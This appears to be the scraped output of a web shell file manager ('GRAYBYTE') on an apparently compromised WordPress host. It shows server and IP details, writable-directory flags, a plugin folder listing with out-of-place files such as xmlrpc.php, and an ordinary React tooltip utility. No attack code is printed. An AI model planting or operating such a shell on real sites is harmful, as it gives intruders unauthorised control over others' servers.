✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins/Dtos//hoverTooltip_bu.js
// src/utils/hoverTooltip.js
import {useEffect} from '@wordpress/element';

const tooltipStyles = {
    display: 'none',
    position: 'absolute',
    backgroundColor: 'rgba(0,0,0,0.8)',
    color: 'white',
    padding: '10px',
    borderRadius: '3px',
    fontSize: '13px',
    left: '0px',
    zIndex: 1000,
};

const allowedClasses = ['enable_firewall', '404_blocking_threshold', '404_blocking_lockout_duration'];

const hasAllowedClass = (element) => {
    if (!element) return false;

    // Check if the element itself has the allowed class
    const elementHasClass = allowedClasses.some((cls) => {
        const hasClass = element.classList.contains(cls);
        return hasClass;
    });

    if (elementHasClass) return true;

    // Check child elements for the allowed class
    const children = Array.from(element.querySelectorAll('*'));

    return children.some((child) =>
        allowedClasses.some((cls) => {
            const hasClass = child.classList.contains(cls);
            return hasClass;
        })
    );
};

const hoverTooltip = (ref, condition, tooltipText) => {
    useEffect(() => {
        const element = ref.current;
        if (!element) return;

        if (!hasAllowedClass(element)) return;

        let tooltip = document.getElementById('rsssl-hover-tooltip');
        if (!tooltip) {
            tooltip = document.createElement('div');
            tooltip.id = 'rsssl-hover-tooltip';
            Object.assign(tooltip.style, tooltipStyles);
        }

        tooltip.innerHTML = tooltipText;

        const parent = element.parentElement;
        if (parent.style.position !== 'relative') {
            parent.style.position = 'relative';
        }

        if (!parent.contains(tooltip)) {
            parent.appendChild(tooltip);
        }

        const showTooltip = () => {
            // Show tooltip when condition (originalDisabled) is true
            // This means show it when the field is disabled by PHP
            if (condition) {
                tooltip.style.display = 'block';
            }
        };

        const hideTooltip = () => {
            tooltip.style.display = 'none';
        };

        // Use the parent element as the hover target since the select
        // itself might not trigger hover events when disabled
        const target = element.parentElement;
        target.addEventListener('mouseover', showTooltip);
        target.addEventListener('mouseout', hideTooltip);

        return () => {
            target.removeEventListener('mouseover', showTooltip);
            target.removeEventListener('mouseout', hideTooltip);
            if (parent && parent.contains(tooltip) && !document.body.contains(element)) {
                parent.style.position = '';
                tooltip.remove();
            }
        };
    }, [ref.current, condition]); // Only re-run if ref or condition changes
};

export default hoverTooltip;


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Sep 2026 9.10 PM
docteuh / users
0755
ComponentVulnerabilitiesDto.php
5.876 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
GridBlock.js
1.118 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
HighestSeverityContextDto.php
4.453 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
InstalledComponentDto.php
3.941 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
LICENSE
1.045 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
ModalControl.js
0.463 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
TaskElement.js
4.363 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
VulnerabilityRangeDto.php
3.996 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
VulnerabilitySnapshotDto.php
3.905 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
class-admin.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
hoverTooltip_bu.js
2.843 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
xmlrpc.php
1.223 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF